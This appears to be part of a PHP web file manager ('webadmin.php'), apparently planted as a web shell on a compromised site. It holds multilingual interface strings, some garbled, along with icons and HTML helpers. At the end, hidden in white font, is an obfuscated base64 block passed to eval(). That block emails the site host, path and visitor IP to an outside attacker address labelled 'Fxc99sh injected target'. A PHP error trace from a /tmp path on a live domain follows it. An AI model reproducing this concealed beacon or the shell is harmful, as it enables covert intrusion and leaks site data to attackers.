'filename' => 'Nombre Archivo',
'size' => 'Tamaño',
'permission' => 'Permisos',
'owner' => 'Propietario',
'group' => 'Grupo',
'other' => 'Otros',
'functions' => 'Funciones',
'read' => 'lectura',
'write' => 'escritura',
'execute' => 'ejecución',
'create_symlink' => 'crear enlace',
'delete' => 'borrar',
'rename' => 'renombrar',
'move' => 'mover',
'copy' => 'copiar',
'edit' => 'editar',
'download' => 'bajar',
'upload' => 'subir',
'create' => 'crear',
'change' => 'cambiar',
'save' => 'salvar',
'set' => 'setear',
'reset' => 'resetear',
'relative' => 'Path relativo',
'yes' => 'Si',
'no' => 'No',
'back' => 'atrás',
'destination' => 'Destino',
'symlink' => 'Enlace',
'no_output' => 'sin salida',
'user' => 'Usuario',
'password' => 'Clave',
'add' => 'agregar',
'add_basic_auth' => 'agregar autentificación básica',
'uploaded' => '"[%1]" ha sido subido.',
'not_uploaded' => '"[%1]" no pudo ser subido.',
'already_exists' => '"[%1]" ya existe.',
'created' => '"[%1]" ha sido creado.',
'not_created' => '"[%1]" no pudo ser creado.',
'really_delete' => '¿Borra estos archivos?',
'deleted' => "Estos archivos han sido borrados:\n[%1]",
'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
'rename_file' => 'Renombra archivo:',
'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
'move_files' => 'Mover estos archivos:',
'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
'copy_files' => 'Copiar estos archivos:',
'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" no pudo ser editado.',
'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
'saved' => '"[%1]" ha sido salvado.',
'not_saved' => '"[%1]" no pudo ser salvado.',
'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
'permission_for' => 'Permisos de "[%1]":',
'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
'not_readable' => '"[%1]" no pudo ser leído.'
);
case 'dk':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Mappe',
'file' => 'Fil',
'filename' => 'Filnavn',
'size' => 'Størrelse',
'permission' => 'Rettighed',
'owner' => 'Ejer',
'group' => 'Gruppe',
'other' => 'Andre',
'functions' => 'Funktioner',
'read' => 'læs',
'write' => 'skriv',
'execute' => 'kør',
'create_symlink' => 'opret symbolsk link',
'delete' => 'slet',
'rename' => 'omdøb',
'move' => 'flyt',
'copy' => 'kopier',
'edit' => 'rediger',
'download' => 'download',
'upload' => 'upload',
'create' => 'opret',
'change' => 'skift',
'save' => 'gem',
'set' => 'sæt',
'reset' => 'nulstil',
'relative' => 'Relativ sti til valg',
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'tilbage',
'destination' => 'Distination',
'symlink' => 'Symbolsk link',
'no_output' => 'ingen resultat',
'user' => 'Bruger',
'password' => 'Kodeord',
'add' => 'tilføj',
'add_basic_auth' => 'tilføj grundliggende rettigheder',
'uploaded' => '"[%1]" er blevet uploaded.',
'not_uploaded' => '"[%1]" kunnu ikke uploades.',
'already_exists' => '"[%1]" findes allerede.',
'created' => '"[%1]" er blevet oprettet.',
'not_created' => '"[%1]" kunne ikke oprettes.',
'really_delete' => 'Slet disse filer?',
'deleted' => "Disse filer er blevet slettet:\n[%1]",
'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
'rename_file' => 'Omdød fil:',
'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
'move_files' => 'Flyt disse filer:',
'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
'copy_files' => 'Kopier disse filer:',
'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan ikke redigeres.',
'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
'saved' => '"[%1]" er blevet gemt.',
'not_saved' => '"[%1]" kunne ikke gemmes.',
'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
'permission_for' => 'Rettigheder for "[%1]":',
'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
'not_readable' => '"[%1]" Kan ikke læses.'
);
case 'tr':
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Klasör',
'file' => 'Dosya',
'filename' => 'dosya adi',
'size' => 'boyutu',
'permission' => 'Izin',
'owner' => 'sahib',
'group' => 'Grup',
'other' => 'Digerleri',
'functions' => 'Fonksiyonlar',
'read' => 'oku',
'write' => 'yaz',
'execute' => 'çalistir',
'create_symlink' => 'yarat symlink',
'delete' => 'sil',
'rename' => 'ad degistir',
'move' => 'tasi',
'copy' => 'kopyala',
'edit' => 'düzenle',
'download' => 'indir',
'upload' => 'yükle',
'create' => 'create',
'change' => 'degistir',
'save' => 'kaydet',
'set' => 'ayar',
'reset' => 'sifirla',
'relative' => 'Hedef yola göre',
'yes' => 'Evet',
'no' => 'Hayir',
'back' => 'Geri',
'destination' => 'Hedef',
'symlink' => 'Kýsa yol',
'no_output' => 'çikti yok',
'user' => 'Kullanici',
'password' => 'Sifre',
'add' => 'ekle',
'add_basic_auth' => 'ekle basit-authentification',
'uploaded' => '"[%1]" yüklendi.',
'not_uploaded' => '"[%1]" yüklenemedi.',
'already_exists' => '"[%1]" kullanilmakta.',
'created' => '"[%1]" olusturuldu.',
'not_created' => '"[%1]" olusturulamadi.',
'really_delete' => 'Bu dosyalari silmek istediginizden eminmisiniz?',
'deleted' => "Bu dosyalar silindi:\n[%1]",
'not_deleted' => "Bu dosyalar silinemedi:\n[%1]",
'rename_file' => 'Adi degisen dosya:',
'renamed' => '"[%1]" adili dosyanin yeni adi "[%2]".',
'not_renamed' => '"[%1] adi degistirilemedi "[%2]" ile.',
'move_files' => 'Tasinan dosyalar:',
'moved' => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
'not_moved' => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
'copy_files' => 'Kopyalanan dosyalar:',
'copied' => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
'not_copied' => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" düzenlenemiyor.',
'executed' => "\"[%1]\" basariyla çalistirildi:\n{%2}",
'not_executed' => "\"[%1]\" çalistirilamadi:\n{%2}",
'saved' => '"[%1]" kaydedildi.',
'not_saved' => '"[%1]" kaydedilemedi.',
'symlinked' => '"[%2]" den "[%1]" e kýsayol oluþturuldu.',
'not_symlinked' => '"[%2]"den "[%1]" e kýsayol oluþturulamadý.',
'permission_for' => 'Izinler "[%1]":',
'permission_set' => 'Izinler "[%1]" degistirildi [%2].',
'permission_not_set' => 'Izinler "[%1]" degistirilemedi [%2].',
'not_readable' => '"[%1]" okunamiyor.'
);
case 'cs':
$date_format = 'd.m.y H:i:s';
$word_charset = 'UTF-8';
return array(
'directory' => 'Adresá�',
'file' => 'Soubor',
'filename' => 'Jm�no souboru',
'size' => 'Velikost',
'permission' => 'Práva',
'owner' => 'Vlastn�k',
'group' => 'Skupina',
'other' => 'Ostatn�',
'functions' => 'Funkce',
'read' => 'Čten�',
'write' => 'Zápis',
'execute' => 'Spoušt�n�',
'create_symlink' => 'Vytvo�it symbolický odkaz',
'delete' => 'Smazat',
'rename' => 'P�ejmenovat',
'move' => 'P�esunout',
'copy' => 'Zkop�rovat',
'edit' => 'Otev��t',
'download' => 'Stáhnout',
'upload' => 'Nahraj na server',
'create' => 'Vytvo�it',
'change' => 'Zm�nit',
'save' => 'Uložit',
'set' => 'Nastavit',
'reset' => 'zp�t',
'relative' => 'Relatif',
'yes' => 'Ano',
'no' => 'Ne',
'back' => 'Zp�t',
'destination' => 'Destination',
'symlink' => 'Symbolický odkaz',
'no_output' => 'Prázdný výstup',
'user' => 'Uživatel',
'password' => 'Heslo',
'add' => 'P�idat',
'add_basic_auth' => 'p�idej základn� autentizaci',
'uploaded' => 'Soubor "[%1]" byl nahrán na server.',
'not_uploaded' => 'Soubor "[%1]" nebyl nahrán na server.',
'already_exists' => 'Soubor "[%1]" už exituje.',
'created' => 'Soubor "[%1]" byl vytvo�en.',
'not_created' => 'Soubor "[%1]" nemohl být vytvo�en.',
'really_delete' => 'Vymazat soubor?',
'deleted' => "Byly vymazány tyto soubory:\n[%1]",
'not_deleted' => "Tyto soubory nemohly být vytvo�eny:\n[%1]",
'rename_file' => 'P�ejmenuj soubory:',
'renamed' => 'Soubor "[%1]" byl p�ejmenován na "[%2]".',
'not_renamed' => 'Soubor "[%1]" nemohl být p�ejmenován na "[%2]".',
'move_files' => 'P�em�stit tyto soubory:',
'moved' => "Tyto soubory byly p�em�st�ny do \"[%2]\":\n[%1]",
'not_moved' => "Tyto soubory nemohly být p�em�st�ny do \"[%2]\":\n[%1]",
'copy_files' => 'Zkop�rovat tyto soubory:',
'copied' => "Tyto soubory byly zkop�rovány do \"[%2]\":\n[%1]",
'not_copied' => "Tyto soubory nemohly být zkop�rovány do \"[%2]\":\n[%1]",
'not_edited' => 'Soubor "[%1]" nemohl být otev�en.',
'executed' => "SOubor \"[%1]\" byl spušt�n :\n{%2}",
'not_executed' => "Soubor \"[%1]\" nemohl být spušt�n:\n{%2}",
'saved' => 'Soubor "[%1]" byl uložen.',
'not_saved' => 'Soubor "[%1]" nemohl být uložen.',
'symlinked' => 'Byl vyvo�en symbolický odkaz "[%2]" na soubor "[%1]".',
'not_symlinked' => 'Symbolický odkaz "[%2]" na soubor "[%1]" nemohl být vytvo�en.',
'permission_for' => 'Práva k "[%1]":',
'permission_set' => 'Práva k "[%1]" byla zm�n�na na [%2].',
'permission_not_set' => 'Práva k "[%1]" nemohla být zm�n�na na [%2].',
'not_readable' => 'Soubor "[%1]" nen� možno p�eč�st.'
);
case 'ru':
$date_format = 'd.m.y H:i:s';
$word_charset = 'KOI8-R';
return array(
'directory' => 'ëÁÔÁÌÏÇ',
'file' => 'æÁÊÌ',
'filename' => 'éÍÑ ÆÁÊÌÁ',
'size' => 'òÁÚÍÅÒ',
'permission' => 'ðÒÁ×Á',
'owner' => 'èÏÚÑÉÎ',
'group' => 'çÒÕÐÐÁ',
'other' => 'äÒÕÇÉÅ',
'functions' => 'æÕÎËÃÉÑ',
'read' => 'ÞÉÔÁÔØ',
'write' => 'ÐÉÓÁÔØ',
'execute' => '×ÙÐÏÌÎÉÔØ',
'create_symlink' => 'óÄÅÌÁÔØ ÓÉÍÌÉÎË',
'delete' => 'ÕÄÁÌÉÔØ',
'rename' => 'ÐÅÒÅÉÍÅÎÏ×ÁÔØ',
'move' => 'ÐÅÒÅÄ×ÉÎÕÔØ',
'copy' => 'ËÏÐÉÒÏ×ÁÔØ',
'edit' => 'ÒÅÄÁËÔÉÒÏ×ÁÔØ',
'download' => 'ÓËÁÞÁÔØ',
'upload' => 'ÚÁËÁÞÁÔØ',
'create' => 'ÓÄÅÌÁÔØ',
'change' => 'ÐÏÍÅÎÑÔØ',
'save' => 'ÓÏÈÒÁÎÉÔØ',
'set' => 'ÕÓÔÁÎÏ×ÉÔØ',
'reset' => 'ÓÂÒÏÓÉÔØ',
'relative' => 'ÏÔÎÏÓÉÔÅÌØÎÙÊ ÐÕÔØ Ë ÃÅÌÉ',
'yes' => 'ÄÁ',
'no' => 'ÎÅÔ',
'back' => 'ÎÁÚÁÄ',
'destination' => 'ÃÅÌØ',
'symlink' => 'ÓÉÍ×ÏÌÉÞÅÓËÉÊ ÌÉÎË',
'no_output' => 'ÎÅÔ ×Ù×ÏÄÁ',
'user' => 'ðÏÌØÚÏ×ÁÔÅÌØ',
'password' => 'ðÁÒÏÌØ',
'add' => 'ÄÏÂÁ×ÉÔØ',
'add_basic_auth' => 'äÏÂÁ×ÉÔØ HTTP-Basic-Auth',
'uploaded' => '"[%1]" ÂÙÌ ÚÁËÁÞÅÎ.',
'not_uploaded' => '"[%1]" ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÚÁËÁÞÑÔØ.',
'already_exists' => '"[%1]" ÕÖÅ ÓÕÝÅÓÔ×ÕÅÔ.',
'created' => '"[%1]" ÂÙÌ ÓÄÅÌÁÎ.',
'not_created' => '"[%1]" ÎÅ ×ÏÚÍÏÖÎÏ ÓÄÅÌÁÔØ.',
'really_delete' => 'äÅÊÓÔ×ÉÔÅÌØÎÏ ÜÔÏÔ ÆÁÊÌ ÕÄÁÌÉÔØ?',
'deleted' => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÂÙÌÉ ÕÄÁÌÅÎÙ:\n[%1]",
'not_deleted' => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÕÄÁÌÉÔØ:\n[%1]",
'rename_file' => 'ðÅÒÅÉÍÅÎÏ×Ù×ÁÀ ÆÁÊÌ:',
'renamed' => '"[%1]" ÂÙÌ ÐÅÒÅÉÍÅÎÏ×ÁÎ ÎÁ "[%2]".',
'not_renamed' => '"[%1] ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÐÅÒÅÉÍÅÎÏ×ÁÔØ ÎÁ "[%2]".',
'move_files' => 'ðÅÒÅÄ×ÉÇÁÀ ÓÌÅÄÕÀÝÉÅ ÆÁÊÌÙ:',
'moved' => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÂÙÌÉ ÐÅÒÅÄ×ÉÎÕÔÙ × ËÁÔÁÌÏÇ \"[%2]\":\n[%1]",
'not_moved' => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÐÅÒÅÄ×ÉÎÕÔØ × ËÁÔÁÌÏÇ \"[%2]\":\n[%1]",
'copy_files' => 'ëÏÐÉÒÕÀ ÓÌÅÄÕÝÉÅ ÆÁÊÌÙ:',
'copied' => "óÌÅÄÕÝÉÅ ÆÁÊÌÙ ÂÙÌÙ ÓËÏÐÉÒÏ×ÁÎÙ × ËÁÔÁÌÏÇ \"[%2]\" :\n[%1]",
'not_copied' => "óÌÅÄÕÀÝÉÅ ÆÁÊÌÙ ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓËÏÐÉÒÏ×ÁÔØ × ËÁÔÁÌÏÇ \"[%2]\" :\n[%1]",
'not_edited' => '"[%1]" ÎÅ ÍÏÖÅÔ ÂÙÔØ ÏÔÒÅÄÁËÔÉÒÏ×ÁÎ.',
'executed' => "\"[%1]\" ÂÙÌ ÕÓÐÅÛÎÏ ÉÓÐÏÌÎÅÎ:\n{%2}",
'not_executed' => "\"[%1]\" ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÚÁÐÕÓÔÉÔØ ÎÁ ÉÓÐÏÌÎÅÎÉÅ:\n{%2}",
'saved' => '"[%1]" ÂÙÌ ÓÏÈÒÁÎÅÎ.',
'not_saved' => '"[%1]" ÎÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓÏÈÒÁÎÉÔØ.',
'symlinked' => 'óÉÍÌÉÎË Ó "[%2]" ÎÁ "[%1]" ÂÙÌ ÓÄÅÌÁÎ.',
'not_symlinked' => 'îÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÓÄÅÌÁÔØ ÓÉÍÌÉÎË Ó "[%2]" ÎÁ "[%1]".',
'permission_for' => 'ðÒÁ×Á ÄÏÓÔÕÐÁ "[%1]":',
'permission_set' => 'ðÒÁ×Á ÄÏÓÔÕÐÁ "[%1]" ÂÙÌÉ ÉÚÍÅÎÅÎÙ ÎÁ [%2].',
'permission_not_set' => 'îÅ×ÏÚÍÏÖÎÏ ÂÙÌÏ ÉÚÍÅÎÉÔØ ÐÒÁ×Á ÄÏÓÔÕÐÁ Ë "[%1]" ÎÁ [%2] .',
'not_readable' => '"[%1]" ÎÅ×ÏÚÍÏÖÎÏ ÐÒÏÞÉÔÁÔØ.'
);
case 'en':
default:
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',
'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',
'read' => 'read',
'write' => 'write',
'execute' => 'execute',
'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',
'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
);
}
}
function getimage ($image) {
switch ($image) {
case 'file':
return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
case 'folder':
return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
case 'hidden_file':
return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
case 'link':
return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
case 'smiley':
return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
case 'arrow':
return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
}
}
function html_header () {
global $site_charset;
echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
<title>webadmin.php</title>
<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>
<script type="text/javascript">
<!--
function activate (name) {
if (document && document.forms[0] && document.forms[0].elements['focus']) {
document.forms[0].elements['focus'].value = name;
}
}
//-->
</script>
</head>
<body>
END;
}
function html_footer () {
echo <<<END
</body>
</html>
END;
}
function notice ($phrase) {
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="notice">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
function error ($phrase) {
global $cols;
$args = func_get_args();
array_shift($args);
return '<tr id="error">
<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
}
?>
<font color ="#FFFFFF">
<? $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gJHdlYi4kaW5qOyAkYm9keSA9ICJCb3NzLCB0aGVyZSB3YXMgYW4gaW5qZWN0ZWQgdGFyZ2V0IG9uICR0YXJnZXQgYnkgJHZpc2l0b3IiOyBtYWlsKCJkYW5oY2hvaGFja0B5YWhvby5jb20iLCJGeGM5OXNoIGluamVjdGVkIHRhcmdldCBvbiBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw=="; eval(base64_decode($shell_data));?><font color ="#FFFFFF">
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /home/depnet/domains/dep.net.vn/public_html/tmp/type.php:337) in <b>/home/depnet/domains/dep.net.vn/public_html/tmp/type.php(2605) : eval()'d code</b> on line <b>1</b><br />